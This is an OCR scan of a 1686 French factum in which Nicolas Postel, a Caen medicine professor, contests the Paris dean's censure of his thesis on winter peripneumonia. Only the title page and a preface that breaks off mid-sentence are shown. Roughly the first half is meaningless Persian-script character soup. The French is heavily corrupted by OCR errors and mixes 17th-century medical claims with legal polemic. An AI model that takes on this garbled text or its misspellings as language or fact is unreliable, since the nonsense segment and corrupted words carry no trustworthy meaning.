م2 ۱
رین ای دوش نان پروضر رن
۱
۱
۱
۱
۱
۱
1
۱
۳ مرت ال ونر رو و ری
| ات ورپ رت سیر سک موی[ |
اش سست وف رز متا را رک #9
کاسست ونر ۳ امک رین
۱ مرت و وی ۳ باشداسما رادرس ۲ ]|
, (! ۳ 77 راماواحر رررست شک نا
یبود 7 رو ۱
7 ۱
با 2 و مئّم بل ورتط| با 7 ر اي در دس یت ۱
9 ابا زراطا اب مرب رنه مره بص فا ۱
۱
۱
3 ۰ -
یه رت ایززتری ۱
1 ی تست دک رن رب
انیت ییانب تسکت
سای یرد ا هدع ث ِ مزر دسر
ار 2 سر بال// 29
وی رگن 1 لت ان و تست بو
تین اس رسپ امسر :۳
| 2 ا کر ا هرز ات
2
۳ درا راشاان برا تم( رن
ترش اک اي ری دزن تا
1 سکب و یل
ی
یر مت
اه ود رها ۱2 ورد م0 ان منم تین
2 لبم ای جوم راو مرو
رت این مک تج ۱
اه ماه اف ینبل زا
باسح ۳
۳
2
5 2 2 2
7 ۳۹
زرودر دنل یاشا و | 7 مت
ی ای پیز مر 7
۱ مان بان ره وا روش طلب سا سرا
1
را رده ماع اروت امست از 9 ۱
ارات وصنیارت ورب رو بت اک درو سس لولروین بزاردماو
تا
ی یرون ی رلک
أ کر
۱ تا پست نام راز سر اعضا کی بل
4 أ 7 تسیز
۱ کیره رم ۷
و وه ی ی
الب مرو ما روج ن تروشم 2
داتسا انیت بر ی
الم دش کشت دس فرت ۱
ت ۸ ۱
یوم رگنس بش ۱
رم نم شنت ۲
ن ۱
ول ریبد ارام نت ین خن 7 ۱
71
۳
بت ورفرخ ننباست وسرر| تاداتص با هت ۱2
ب 2 سح ۳
۱ ۳ 2
[ مب رن سیب ررض ۱7
۱
۲ رواب ارم کته 2 رن
۱ ۳ رس اک دس بو یک
۱
۱
۱
۱
ری رورت رم فا
ان داب 7 یل اسیانعا سس که
7
7 1
تبرت رن رکنم
و 7 7
تم تیدا ۱
الک یالمشاض ناخ یاه
شنت ترش بت« نوش
۱ یر 0 رفن رویز رو
ینتسب نزن |
پرشون رما روا وس دو نو من ۳9
۱ ۱ ولو یت انرگک فا رکذ ال و 1
حححصگح حس ۱
۱ 1 جح ۳ 5
۱ أ 1 1 ۳ ۱
۱ 7
زب دوکر یراردا ۱
۱
۱
۱
۱
39
۱
۱ 1 ۲
2 1 3 ۳ ۱
و د دار ست رم 0
1 اا
مر میم ٩ ۱
۱ 0 یف میور ژورریتی بل
کت ریت ری و
۳ 0 و ی
زا سر یل یره ریش وت
ی رش وم بط ايند راربا ۱
۱ سرت گنل پست ۱ اردل( ۳7
0 ۱
او روگ ی بر ریت 1 و من وررو دا
۱ ۱ پر ده 0 رش
۱ ۲ اون درد یله ات کر ّ من
۱
۱
۱
مد
5297
۱
۱
5 ی ی و و
| | دراو ابو زررت ورد او سعیرندم
ات ۱
] دار میت کر وشررزانهرو نگ زدرن ملد
و و 7
ر ۷ ۰ 7 ۰ ها ۱
ان تین ره سست رن رسب ۱/۳
9 ۰ م۳ ۱
دارم بط اضما مین لت
سک ۱
9 رم رسپراسط! بعست ۱
سل ن وثرم گنای بان ۱
سل یرطاب 19
تارادا ۱
سم وال نش روا ر
نق مس یدنا بُ
سر
مترع بایان مان
یس تیان تست
کران «رلت و ۱
آک زان تسوبی شکرزرسخن ددع۶
۱ رشان رم ۱ زرم رکب درا ۱
۱
ْ انب نا ۱
أ اکن دورو رت ود |
رم ی ی یر |
در لب بای مرت
۱ رون زدرامّل تم ورتم
۱ زد زششحی مکرس)
۱ ی
۱ ردان تاره
۱ که تانب
1
-»
«دلعست اد ردانب ُ
کی ور مت
ری را
۱ شش ان ری ۱
وان رک مس زا
اسف ری رورم ونم
و ۶ هه این ۳2
(دسان تابر یت | کم تالا اما و كِِ ۱
۳
۱ رد روصت عبر( نزن اسب سا مهم مطا ,۱72
۱ نا ان کنر رال ت ۱ ۱
۱ تست - حد << - تِِ و
۱ 4 نار لا نتب مررلریورساسی
(مط نا ً ت۱2
ار اور رتیت ان رم
4
۳
۱
ار سح -- سح حححم
۱ #9 رن 7 سس ۳
0 دجهسبب ارو ۳ کت ۱ ۱
۱ ی ات 2 ه ۱
۱
۱ وروت سرد ه ولا ردول ار اسب وا رن
| هیبش رمرورشت مرت 7 ۱
و زربتیک ورد رمق 0 ۱
زاره بسا سا ۷ یی 7
۱ ریا ار روط ایند ارجا دم |
دیل را اذل رورلروه ! مر وعدتیتکا تشر نا را ک-۱ ۱
۱ ررکم رد تس 1 ۱
۲
۱
9 دی ترا کرت ولو رورت ترش
و یواست وب رزملشت اف ۱
مد اقا ود رم بند 7
ی [
تن کی دردرس یر دس
سح مب
و
1 وزارت
م
ادن رب پ انار قصدد رس پر
تما رن برس یت کدی ان
دب شم ریت چچران «کل ان( سک
1 کب
لکد سل کم د وتات
ریت یوت شرت وش ضر2
۱ رد مب
لک در مک تیب اه کشت مرش ) 1
رز
هر رامیب
یت دصر رد یشنم ینم سر
رقدمل نب انم ین رتیت غاب ره یج
9
لد
اب و ۵ یر 3 مه بسا
12
بسح ۳
9 و
أ رس ان ره ۱
و ۰ ۰ ۰ 3
دول گر رورا
یا ۳ »2
۱
3
تن ۵ علوا ۳ ۱
وتات ومرشني لآ ورب ارو و/ رت پم ۳0
وتان وروی میت رل رات موز
ادرال ما ولا 7 مک 1 2 ادصتيم يم
ود را رت 7 زان
ید1 تاوارردربا را ون سرت و ط ۱
کش ایو | و
یدوزب خ رجا
شر یازا نب ری رون ۳ بت
0 ۱
۱ اشت تن وب تفن ش
۳ مور ین مت نان
و ها
و راز رش رو ۳ ک
۱ ره سکن نآ | ۱
۱ یمین 73 مت 0
النت: یزاون یک ۳ ی ضوع رو 0
۳
۱
را
ول ما ارس مک لت و
رف ود تن نا تن رید
ام ری
ور دمنشت در تشرد 7 رین رام ّ
یزرو بعشا یار ال تس س ۶
۹ رن دنشرراش مت رن ۳ |
۳
ابر د دنسر سر وس تکری نک سفن ز و
را |
۱/2 دسا مرا ودره مساو وت
۱ مت اي رن بط
۱ رني رید رضوت دار بر کیت از 0/1 و
7 ان رکه شا یرل زر ۳7
۳2 یه
کي فزززات نات خیم خن وش زر
1 77 یور ی[
نی سا ایرث 7
1 مرا کته دیی ای مار ۱
بیع 2 ۱
وا زیمت سا اش مادودام ۳
وش شر واوازدرب ۷/۸ سل بط یت م9
آردشیوا تسس اس دزن داد هم 0 پل
سوم خن رز گر ۱
نامسا د رگراک یبای ات ۱
۳ ی 0
رت رسپ زین و یدیل ۷سا دبا رصم رایع ۱
و ۵ ۰ ۶
با « مرو وعاراست و اقاست الما خت رین
۰ 2 و ی ۳
کایتم سوع هار رال مر رتسا زیر
۳ 1 . ی ره امن و زد
ریات تا 10 أت 2 او دار سم 7 رت 2 7
7 مسب مت
ست اور یس دیا دیون و 7 رن و9
۱ 9 ار علریی راما عا مد ریز |
ای ی مر ۸ ۳
ار
۳
1۹ ِ
راچد ین ی
و2 رح
الا ۰ رت :
۳ ۳ ی رون و
۱ سك ۳ 4
۱ یب ورد سیک ری زه یدرس
7
ال راک وربور نت فتاه
سم ۱
2
رک ریک اف ور لت اس ارم و۱2۸
7
رک 7 نوا وت تست وفارت 0 2
۲
تست ترا 0
نادزد ن یه ی 1
اتیب رورم رود ریا گر
۱ یذ ریت سال تمرم رف و نک
1 ده ینت شا ی سا ا رما ۹
عالست ۳ میور وسیاف میرک و _
9 یمن درز 7
۲
ات با 7
2 4 الست کش نا ابا بیاصررحفت ۲
1 1 0 مر 2 صسَ / رخ ست و مت رت
/
۱ اایدان با شرا تیان مرول رو
۱ ار تا تست رال قط ای لو مرب | ۱
ند مس نت سیم
رت ۰ رادم مس یلا ۱
ابر
أ مینست ت۱۹
۱ تسشن فد
وس ست وم مرو تین نار
/ /
مینست وعا ما 1
۸ ۱
کارت ر لب عد موش با
۱ 7 ارس کر کال مش مه سک ۱
۱ لیر اسان میا ۳
۱ نمرون تم مر
۱ مب تراد
۱
(| |ا#روتمر ی در و 0
۱
۱ ایس دست هدب نیزا مه رایس
۱ ه ۱
/
۳
رز 10 نا رن من رصان وش ات ور ار
رز ست اور اسب 7
سك ۳
۱ / را مت نات رو شراب دا ِ
۱ ۱ د مرج ی ور رس رتیت تین
یز دی «لری) اسب ره
4 : 9
رتم رز
و مود
۱ رن رسپ رات رن تست و
۱ لوست یار نیت ده
3 2 اب
۱ اب درو ین درد دزم
|( | یفاص رد۱ بات وخات واه
بوچ یش نیون ور رل
و رت
بتک تن لیا بر ودرا درا نی وی
أ الب با یاوا نامر دش ۳ ۱
۱ 5 ۱
۱ ی ۱
ارم نی درک ۳(
2 ۱
لت مت 1 یت که رتکد ساموت دا وت ابا
۱ 0 رورش دبنگ ری رزیت
۱ وا پزشدب رک هابی| رت میدس مسب فرش
۱ م و سیم
مزر و دوگ راتکه وردام
بدا 2 دروم
9
۱ مین ری رن دسر وروی را
۱ ۱ رگ شم وا ۳9
مر زو هنشت فو
مم ۳ ۰ و #
رن رین ورن یور وت دی 7
#لت لب 7 رابت ٩۳
ك
رات رن رما رضا ی تسیک
کین رورم سس چ وتو رر سا ّ بضر
مات مب و
متفر درز شیب
۱
۱ ۱ و مس ۰ 0
۱ ۱ ی
۱
۳2 2 7 رن مت یا ر وبا ور وم رنعوعا/
۱ بر ارزو رگ لو مین نس من
راوشد هر یسنان لا 2
کرازبا ندرک رگ
ورین سپ بان بست ورين
ورزر نینج مایل وتیل س رل
نمی 9 » : ۰ 7۳
رن ستتکر منت او اووازست و فرت وعلست دار
و 2/۰ سده
ون ام عیرست ای راچر ری درا دمون دلاات؟!
ی تفر
دثش درا گزن رپس رو ی بت
ی روم 7
أ را رانا مرو وست ررض
تفت وسوات وا رشانکرتا
یت دک کت مک برد منرت رو تیان
۱ ۳
علی و شور وا رو در یر ما رود ان
۱ ۰ / ۰ و
من مر ر وس ور پل وررنع ط سا رصرر تست | |
| سک ِ ه ۳
۳5
۳۹ ۷
سرت تور
سردا اش رال ارت 9 ۱ ۱
مر ریا هت دعس ۱۳
اميز رانا را رو تقو
4 از ی ان و 7 9 م۳
رپ تشرط ویر را نان | م۳ ۱
۳ ۳
دادما یال | کت وا زا ردنا رک غاب «تعواسب وا بع-
۱ سس ءِ 0 :
۱ حاسرال یا ودرا هی وراج شا لگ رک ندن 97
7 ام 0 .
2 9 نت ره رشت
ارب یرداپ رن نهک روک رتاک 9
اه اراک خر ۳
۱ م9 یار حکموزیا ۳ بترزاست سِ رون رود
ده اور از قیوشت درل راو روا
تایاور شرع وت وت رادار
+ مت ۰ ۰ ۱ یگ
۱ ردو رادرس زن نا روف مس اسب 2
ی او 2 هک
رت اي ان تست رت ی ۱۳/۳
4 6 ۳ 2
اارست رد( تکاژ وکا روا واسروبت واصا/ ۱۱/۵
4
۳ 0 ۰ یت
۳
۰ ً» 7
تست رن یم
وان درز لمع دون 9 ياعار بو
۰ مب ۰ س
ات دک بر کشرز او مان ی
ان
رابت وت اقا ود ول رورش
2 ی سول ۱
21 دراه مه طاسب وصواب رد وتو ۱
1 ۰ :
۷ خی اس ره 1 ِِت
هب2 ۱1
رت
ون دس پر ها ری وزرا من ۳
۰ ۰ سا
بات راید ردان /وتبب ما( طذاب ص وه |
رم هه ره |
4 رقاب ات ام از ابرورشت ارارست کا ,و2 ]
۵
ت ||
#برک وت رو معا ۳ زرم" رورا رام)
7 اب ی شام 6 7
از ش 1 ریات کر وف مخت رطلاز وا را
ای رورا 9 /
مد د روا مب نیکست ميراد
۳
4ص مس یزاس تسس"
دیون کت اند ۱
7 -ت نب 177
۱ فلت مب مسا ریت زا و وتاب سب ۳
اب رن یت
تیم نع رب هت کر دک
اشوووزاشت له زر مش
۱ ری 2
سرا و روثوت داد مت زو
0 ره اور رورش
۱ تین نآ مینست ت اش راما
وه و و
ی رن تین بل شجپ یرال زرم
۱ مت اریز 3 ۳
رال مور تیاضر سنا و۳ پا راک رس
درراوپا تلو ری بت تن
۱ ام 2 منز - سس ی ی سک
1
22
ربیب رت اک یت و أ
۱ کم 7
رورت رشد هک و یش 17
و
2
0 : با
الررن رون «صواب و عرات رت لا مش
۱ رش ادا هویش یدرک ی ون شرت
۸
دور رام روم تم ل سا ششت جر رم وه
بیان مرت ر شاد رو تررادبایی) راب شارت
]شش 277 رز
۱ زا بارعا وروت اریز رف ار ان سرت
۳
تست دوب نادمه ور سبط | ۱
دس ۱
1 اراد رس
شا وتو ول ارت مشرداسن)
1 0
تباب وقط رو دایب نف 0
۱ موف دش
آزهرا ودره 7 روا ۳ ی و زارت و 2 12
یره زین ی کر رولیت گر و ورن
مان مارد نس کرو وتو وب سیگ
در زد مورریت دا اراس مر روا
راکش رات دیدشت یت زوس ۱۲
2
مشک ۳ ُ کست/1 دن معا رت دراست 9
|
هار 7 ۱ فا ُ 2
نیرمت وود رت کت
4 9 0
وت دقن یتیس وه |
بر رتجمخماین یر شرع با بش ۳97
ره ره ۳2 تج
وه رامراست سا و ٍ/ أ
رت یت جر کر سرت کر رز
ارمیلات تشن زا ۳
۱ اپ ,نسم ۳ ِ بلی هسب بر 2
2
ح ۱ مر ۳
رارکت خر کت دپ مش ۱
۱
۱ ۳ بای نی
۱ ۱ یی وت رصن )مس مرت |
۱ گت شین ربمت :
۱ ۱ ورن رازن یضیب مو رت
۱ ۱ بش رت و رت شمه اس 2
۱ بش ده متس بیارض |
۱ ۱ اش دصر رمیمبست این مت فدروی؟
۱ ۱ یدرون یی دای ن | رن مر هگن ۱
مینست جر نکن پنو سیر سا
۱ کب هرمن شنم سب رل |
آکفتایزز ری سوم ریت۱2
۱
خسس ترشیت
۱
۱ مر 3 1 عرن ۱
۱
[زرست یرم رد موش نوزم |
ی دب همست ماس مسق ۱
بانب
یمرن مارم کی منت کرک
بسا دیرگ رس تصروت او ازایست ون 0
يم ینتب 0
۳ زرط سور رن
وگن بانب ارشررو ور نیکست ان اراس
نت شا رترب رنه و
با کف ت/ردب ایام دیدن رتیه
دنه تج رنه
| زک مین نون ی
ج انز نبرک مب مد کس ّ
رت با ی
لسوت وت و
0-9 رم را از رگا هب مت را
رت ن تست دنرز(
م
صرْ يمست رن ال ده لین پیست ذرست
۱ ینتب ورن یکتم ۱
1 اک رس وک مر" ِ رتست
| رتاش میسن رعزری ]نمزم زورک وطروفت
۱ و : 2
۱ مرخ رال واشته یر اتکی
۱ سری !این بان نبا مینست آبمکه ریت ۱
۱ کات( ای اکن رد رارف تکونرو | مسا ۱
۱ نطاب مرن وهای ات ۱
۱ برفت کال تن مضه ی ۱
ورن مرن تست راشرس
و یرو کرک
أ نان سر رک من بت ینب گم
۱ ۱ هنن ند رس او
1
9 ۱
دزن نز
۱ ار ۰ یی سول
۱ ۶4 .۰ ۰ ك
کشت یریگ رس یب نک شیست ا دزی
شطر نکر ور رامق نوس 7
ميرم ان را بان
را ند مر ودره
۰ یا س
از روا تور ست.ص را ازع خول ربا ۱
اراس دی اکرافت دررمر و ورم(ا ا وال ساعتم
اما ریس دی ارات در مدا یال سای
ولو 9
بل دیمان 9 #مس نت
بر ورن (و ی 7 7
رت ۳ زاس» / وم ال این
۱
تناو مک را یخی میت | ۱
۳ ۳
22 هک دوز رای بویت بت نت ۳
۱
۱
۱
۱ ۱
ْ
۱
و
سس اج
]ی[
۱ تمرم تنب و۳
کشت ی نکن ات شهوي گیل روبت «ر ما
۱ ۱ سر میم تست زونه
اما ست یر راعره دا ما رو ۳ بت
۱ 2 دس
ره رکش تشم شرگراررگ ست تون
۱ ار ی سمل 2 ِ ّ وشبز7 ۱ ۱
۱ اب مشش سک سره ارو ترانت مرگرس ربا ۱
۱ رک نکن باس تیه یک لتبت ینک ۱
2 اه 2 ام ۱
۱ یت یت مت رک تاشتاام: ]
۱ 1 ارسپ ارب و تست ء_ ینت ون رن
۱ ۱ رست تک[ مردپ میم رتش ۱
,تست رب بسن
۱ تفر دسمتتا
1ب
۳
مه
۱ ات وم تست دار نیکست 27
یس همست بو رک نا مود فتاه
لقن وی رد گرا رفووننمسب یب
سل !یبای 77 ن )۱ لس نون
۱ سک ی ی اما وتا
ص رد رن ض سب یت من 7
ی و پبست) 7 دروخ
کیره بت دا دصر رشن موزل
سباا تفت( 2 ود
1 نسم ید #9
سک بر یتنس تکمست () 6
یدرس وان نان ایوس
1
کر جات پش ری
ات ما
مه هضیجا و
و 3
ام
1۷
7
۷
ی ات پا
7 2 7
9 2 1
۰
|
i -71608
Ix Bibliotheca illuftriffimi
. 7 1-60 8
FACTU M.
POUR MAISTRE
NICOLAS POSTy^
Doyen & Profeffeur Royal en I^JacuUc^
de Mcdecinede rUniverfuis- 4,
de Caen , Appellano^
C O N r R E ,
Jl^aill-res Mathieti Maheult i
ptifie Calart , & ‘Pierre dtt Ade^rej ,
Profejfenrs Poyauxde Udite FacuUe^
’^.m'mes^
o u.
Diflettation far Ics Peripncuniopies d’Hyver,,
pour icrrir d’Apologie ala Thcfe
compolce pat Icdit Sieur Poftel.
Centre la Cenfure des Intimes , du few
Ev-ytoN yBcBeur Regent, ^ Bo^en de la
Raculte de Paris.
ee-3<i-)-
. DC. LXXXV^i M
lAviC Perm'Jfia»;
PR E FAC E.
E n'eft point un Livfe que jfi
V-^donne au Public; c’eft un F<*-
flum cjoe je prefente h. ires Juges ,
pour I’lnftruftion d’unProcc* que I’on
tna fufcite dans I’Excrcicc de ma Pro-
ftffion, & que )c me fens engag^,
d'honneut & dc confcience , dc bieii
foutcntr.
Mais comme ce Procez n’eft pas da
genre de ceux , qu’un Ancien appclle
J^iteraf tlliteraltffim4i, Sc que Ics Pie¬
ces iullificatives en font des Paflages
d’Auteurs Grccs , Latins, & Arabes,
je fuis contraint de donner ^ ce Fa«
^um , I’air & la forme d'un Livrc , Sc
de Ic publier i cauie du nombre , SC
de la diverfite des Juges que ie fui*
obligd de reconnoiftre^. Premierement#
& principalcment les Auguftes Tribu*
nauxqui prononceront liir la nullitd
que ie pretetads feirc Tuger d’e la Cen-
fure eii Qaeitioii : En fecond lieu a
RE VAC E.
toutes les Faculies & Colleges de Me«
decinc du Royaurae > aufquelles ic
dois rendre compte de ma Doftrine $
quand ce ne feroic que parce que
les Magiftrats mefme, les voudront
confulter fur ma Thefe. Les S 5 avams
enfin , done I’Europe eft remplie,
voudront prendre connoilfancc d'un
difteretn > que le nombre , & la
reputation de mes Adverfaires , & ma
propre obfcurice, relev^e feulement dc
reclat d’un Illuftre concours, vonc
rendre Celebrej auffi bien que le'
Suict & la Maciere qui fe traltent Ic
rendent tres important.
Car, ce qu’il y a de fingulier dans
ce Procez. eft que les Juges mefmes,'
en lont les Parties les plus ititereffees
& fi les Medecins qui conteftent, cou-
r^nt rifque de leur Reputation , Jgno-
ramia Medict cHlp£ imffttatHr, dit le
Droit, & malts Aiedicts cettftttttta efi
fxna igHominia, dit Hippocr. en fa
Loy : Les Juges & les Ledleurs > de
qucique condition qu’ils foient > y
courent rifqut de l.ur vie» & de cellc
de ce qu’ils peuvent ayoir de pluJ
<;her cn ce raonde.
PREFACE.
Il s’agit, eii un mot,de corriger ua
abrts qae ie (oiitiens s’eftre gliflfe dans
le Diagnoftic. & dans laCure ordinaire
des Inflammations de Poidtrinc ma-
ladie tres-eommune»tres-aigue, & le
plus foiivent mortelle ; qui femblc
avoir cft^ Ic principal obieft des fotns
du grand Hippocr. la Doftrine du-
quel, ie me plains quc plufieurs Me-
decins ont quitec, pour fuivrc des
Authoritez incertaines, & des Maxi-
mes imaginaires.
' Cette Erreuir eft- double, la pre¬
miere eft une lllufioh dans la Theo-
rie j qui’ par la resemblance des Sym-
ptomes , confond' deux maladies
fort differentcs > & donf les cau-
fes font contraires : La fecondc, eft
un peche dans la Pratique, qui eft
encore double »I’lin confifte en Omif-
fion, rautre en Commiffion , & tous
deux He font pas Venials, maisCapi-
taux , & peuvent eftre Mortcls ^ cent
mille des Suiets du Roy, dans une feu-
le annee, C’eft le moindre nombre que
puiflent eftimer ceux qui f^auront*
cdmmemoy, que dans THyverdc le
Printemps de I’annec 16S4. cetteMa-
a X
PJtEF4C£^
ladie eft a fait perir plus de quarantc
iniile dansla feule Ville de Paris* •
L’on ne peut done nier que cettc
queftioB nc foit tres-importante . &
puifquc la confervation des Perfonnes
ics plus Sacr^es & les plus Auguftes »
done la vie eft le Saliu Public,, cq
peut depcndrci ie foutiens encore un
coup, qu’apres le Service de Dieu* riei^
nc pent eftre d’une plus grande confe-
quence ; Sc que les Magiftrats traitent
peu d’affaires j qui foient comparable^
5 c'elle'Cj. Ma propolition eft bardie,
6 ie l^ais ^ qpqy ellc,fn’e;{pofe ; maij;
ie crois avoir veu le fonds de cettc
Qpeftion, & me fentant appnyc d’Au-
ihorit^ j dc Raifon , Sc d’Experience ,
ie n’en puis apprehendcr le fticcez-
I’ay tompofe cei Ecrjt en Francois ,
parnceefllti , d’autanc que e’eft un
: mais i*euffe peu le faite pat
choix,pour Ie rendre plus intelligible i
parce qu’une Differcation Latine ,
pleine de citations , & de termes de
l’Art,ne ferok gueres leuc que par des
Medecius , qui cotnme dit Hipp. au I.
Liv. dt in ncut. ttx. /.^* Dans
lot Cftre des maladies algu'es, s’aecer^
dens p feu , f »e tt ^ae I'm cross excel-
*P REfACE.
lent , eft blafme far 1’autre, enforte qtte
la Medecine pareiB /emblable a I'Art
de deviner. Ainfi j’ay crCl qu’il eftoic
i propos de faire pare a tout le roon*
dc , d^une affaire ou tout le monde a
intereft. Puifquc comme dit le mefme
Hippoer. au Liv. de affeSltonib. Tout
Homme prudent eenfiderant de ^uel
frix efi la fame, a droit de connoiflre
te que les tJ^Jedeeius difent, & de ju-
ger des R^emedes , qu on pretend luj
donner. Deplus, mes Adverfaires ayant
foulu jetter de la poiidre aux yeux
du Public , par leurs Cenfiires , je fiiis
oblige de l’efTuyer, & defabufant juf-
ques au vtilgaire , luy faire connoiftre
les fooderrients 'd*une Doflrinc con-
damtiec fi mal a propos*
Auparavant que d’entrer dans la
Queflion de Droit , je fuis forc^ d’in-
ftruire Ic Lc£leur du Fait, & de met-
tre brievenrient en ce lieu , I’hiftoire
de nos Conteftations, pour n’eftre
point oblige- d’interrompre i toute-
heure mbn, difeours, par dcs digrel*
fions inutiles j & odieufes.
II eft done vray , quq me trouvant
rebate des mauvais Aiccea de la Fjta^
^3
REPACE.
tlqae ordinaire, dans la cure dcs Fauf-
fes InflanijTiations de poiftrinc , qui
dcviiireni Epidemiques, vers le com¬
mencement de I’AnnCe 1684. jc fus
determine par quelques circonftance»
particulicres, ^ prendre une autre
naethode pour les guerir. Get cday
me reuffic d’abord, & je me fentia
engage de continuer I’experience » a-
vec routes les precautions qui la pou-
voient rendre heureufe, & I’empef-
cher de nulre. Le fuccez palTa motv
attcnte ; cnforte quc ne ponvant plu»
douter du feit aprcs cent Obfetva-
tions favorables, je crus qu’il eftoit,
de mon devoir , d’en chereher Its au-
thoritez, & les railbns, a^n d’oftes
aux Empiriques, commc ^ d’injuftcS
PofleiFeuts, cette belle & importan-
te partie de la Medectnc en en-
fichir la fc^ Rationelle dont |e fais
ProftlEon » pour y eftre exercce ave«
plus d’affcurance & de dignitc. DanS
Cette recherche s. tes rations & ksau-
thoritez fc ptefemercnt ea fculc}
je fus convaincu , que ce n’eftoit pas
lant un nouveau fond's ^ acqaerir*
Heritage 5t
^ REPACE.
ayant eftc laille par Hippoer. & pair
IfS Ancicns Medccins, s’eftoit perdu,
par la negligence > & par la foibleffa
de ceux qui nous avoient precedea
depnh peu de Sicelcs, & que nou»
cAions en droit de revendiquer.
Pour tn’en afleurer mieux, jc voa»^
lus iraiter Probksiatiquemcnt cette
qucAion , ceimpofanc pour la Licence
du lieur BarraAin > une Thefe qua
devoit eAre difputee dans nn A^e
ibiennel, & txpofee Sk toutes le»
cb^eAions de Mtffieurs mes Coafre-
res- Nc devoiem-Hs pas concourir a-
vec moy , dans un dedein il loiiable f
& pour approfondir une QueAion
au(E inaportante , entrer volonticrs ,
& de bonne foy , dans rhonneAe car»
fiere que ie leur ouvrois, pour me
conv»ncre ^ force d’Arguments, Si
me &ire changer d’opinion ou re*
Bon^anc genercuremene ^ la leur j fe
Jailler vaincie & la radon , St part3»
gtr. avec .moy. Khonneutt dc fauver
Jeurs Concitoyens.
C’eftoitlale beau Procea qu’il roe
fallolt faire, done parle Galicn^au
iv de Utlilsthod. €bap. ju qus
oceiipoit continuellement les Profcfr
fcurs des Efcolcs de Cos j de Gnide „
__& d’ltalie. (^t »efioitm point des gens,
?-icJ dit- 51 , perdijjent le mettin a fAire
la Cour anx grands, & le foir a s’ennp-
vrer avec tux i mats , comme dit He-
fiode, atnfs ^um Lahoureur •vojant
Its he lies & rhhes moijfons de Jes 'vot-
pnSife ptc^ue d’honneur, met les mains
a la Charrui, & fait travailler /ifx
Toeufs plus dthgemment i de mtfme ces
verttahles & dignes Profefeurs 'en Me-
dectne , navoiint point d’autre pensee f
^tt’a hien exercer d, I'envj I’un de 1 ‘au¬
tre , augmenter , retahtir , ce bel tA rt ,
^ le porter enfin k fa dermere Ptr-
_ ^fehlion.. Mais fi Galien fe plaint que
temps, I’honnejte Emulatio*
ctfe, & tjuon ’Dojoit tn fa pla*
^ ce regntr la (hitpuane , & le ntauvais
OTv«©i' precede parmj les eJHedecins » Nee efi
*ioute-t-il, ^ui hoc avertat , aut male
mtdeatur, eitant li deflus un Vers
d’Hefiode , qui vient fort i jaoftrs
fuiet.^ . *
Lis xe te inducat maladevitarela-
S borem, dulee malum alterius.
11 ne faut pas s’eftonhcr fi MtlEcuw
PREFACE,
jncs Confreres nc prirent pas I’hon.*
nefte party que ie leur offrois. Com-
me ils ont louiours eu i’adreffe & le
bonheur , de trouver de la reputa¬
tion & de I’eftabliflement ^ bon com-
pte , & par des voyes faciles > ils vou-
lurept encore , dans cette occalion »
perdre la mienne , & alleurer la leur^
Jans coup ferir.
Voicy done cc que leur a fuggerc
cette Politique rafinee»qui eft fi fort
de leur connoillance, & ft pea de la
mienne. Ils eluderet d’abord plusd’^un
mois entier, fbus divers pretextes fort
recherchezj la celebration de rA<!I:e
cn Queftion j pour avoir tout loifif
d’envoyer ma Thtfe I Paris, & la pre-
fenter i Manfteur Puylon , Doyen en
Charge de la Faculte de Medecine ,
avee lequel ils peuvenc avoir dec
liaifons lecrettesj ou dont ils con-
noUTent parfaitement bien le ca*
raftere : Puifquc Pevenement a fait
voir qu'ils ne pouvoient s’adreffer h
un Homme qui entraft de plus droitr
ftl dans leiirs interefts. Car i pein/is
cut il IS la fin du dernier Corollaire
dc nia Thefe* que fans balancer ua
PREFjICE.
OJoment , fans m’appeller , ny m’cn-
tendre i fans s’mformer s’il avoir Ju»
rifdiiSton fur moy > comme fi la Char¬
ge d’Inquifitenr General cn Medecinc
cfloit iointe i celle de Doyeii de la Fa-
culce de Paris , dont il eft reveftu, H
feilmina contre moy la plus atroce &
la plus iniurieiife Cenfure , dour Ton
puifte. flecrir un Profefleur en Medcci-
ne j pronon^ant que ma Thefc eftoit
appuyee fur de faux principes i qu’^el-
le eftoit pernicieufe , & contraire la
bonne methode de MedecinB. Il ne
reftoit plus qu ’4 ordonner que ic, le-
rois degrade de la qualite de Dodeurj
& livre au bras feculicr-
Je n’ay point I’honneur de con-
noiftre Monfieur Piiylon > i'en entends
dire du bien > & le rang qu’il tient en
peut faire croire. Je prends nean-
moins la liberte de luy dire • que s’il
ne s’explique> & ne donne des rai-
fons de fon fait , que Ton ne voit pas
d’abord, les perfonnes definterefless
auront quelque peine ^ accorder fon
procede avec la Prudence , la Juftice,
la Dodlrine , & la Moderation . dont
le Chef d’une aulS illuftre Compa-
PREFACE
gnic .j comme la fiennc , doit eflre
pourveu-
Mes Collegues munis d’une piece
aufli importance, corome le devroic
eftre la Cenfure du Doyen de la Fa-
culte de Paris > la piiblierent bicil
mieux qu’i fon de Trompe, & cn
reroplirent noftre Ville pat leuis
■ Emiilaircs; Tun defquels affefta de
m’en fairc voir TExtrait en bonne
Compagnie, pour jouir de I’embar-.
ras & dtt trouble, ou me pouvoit
Jetter une affaire fi furprenante. Des
lorsi ces Meflieurs me jugerent per¬
du fans relfource , nonobftant les
bons fuccez done il plaiCoit a Dieu,
de me favorifer, &. les djfgraccs
prefque . continiielles de la pratique
ordinaire. Ils crurent affez probable-
ment que j’aiitois beau parler > ef-
crire, guerir, la faveur du prejuge
done ils fe couvroient, & I’apparen-
ce des formes, par lefqu.elles ks plus
honneftes gens veulenc mourir» I’em-
pontroit , toujours fur la raifon &
I’experieiice , & qu’une Erreur plau-
fible & aueborifee , rriompheVoit ai-
fi^m^nt, d’une verice preferite» dbnt
^ REFj4CS\
je n’aarois pas aflcz de foi*ce pour
retablir les Droits. Ils ne gardercnc
done pins aucune mefure , & ne dou-
tants pas que la Cenfure de Paris
n’aathorifaft la leur, &' ne me notr-
cift dans le monde » ils ne voulnrcnc
pas differer un moment i fc donner
cette fatisfaftion.
Us firent doncaflembler noftre Fa-
culte, qui ne s’aflemblc que raremenc,
liiefine p6ur i’Elediion des Doyens,
& k Reception -des Afyirants } y fai-
fants troaver extraordinaireraent
Monfieur le Re( 3 :eur, le Greffier de
rUniverfit^, d£ le ficur Barraflin de-
venu leur ennemy depuis, que j’etois
fon Prefident. Tout cet appareil me
lift preCfcntir mon malheur ».& je letis
d’abord jufqties fur le vifsge du fieur
du Mezeray , cette trifle feverite qui
convient fi bicn a des Cenfeurs. En ef-
fet) le lieur de^aucouleiirSj en quali¬
ty de Doyen perpetufel dc la Faculte ,
qu’il voudroit bien eftre, ayant de-
mande pourda forme quiavoic com-
pofe cette Thefe, fur Taveu que j’en
fis, fans attendee la Queflion , il
prononca qu’ellc eftoit Paradoxc »
coiuraite
PREFACE. '
contraire ^ la bonne Methode ,
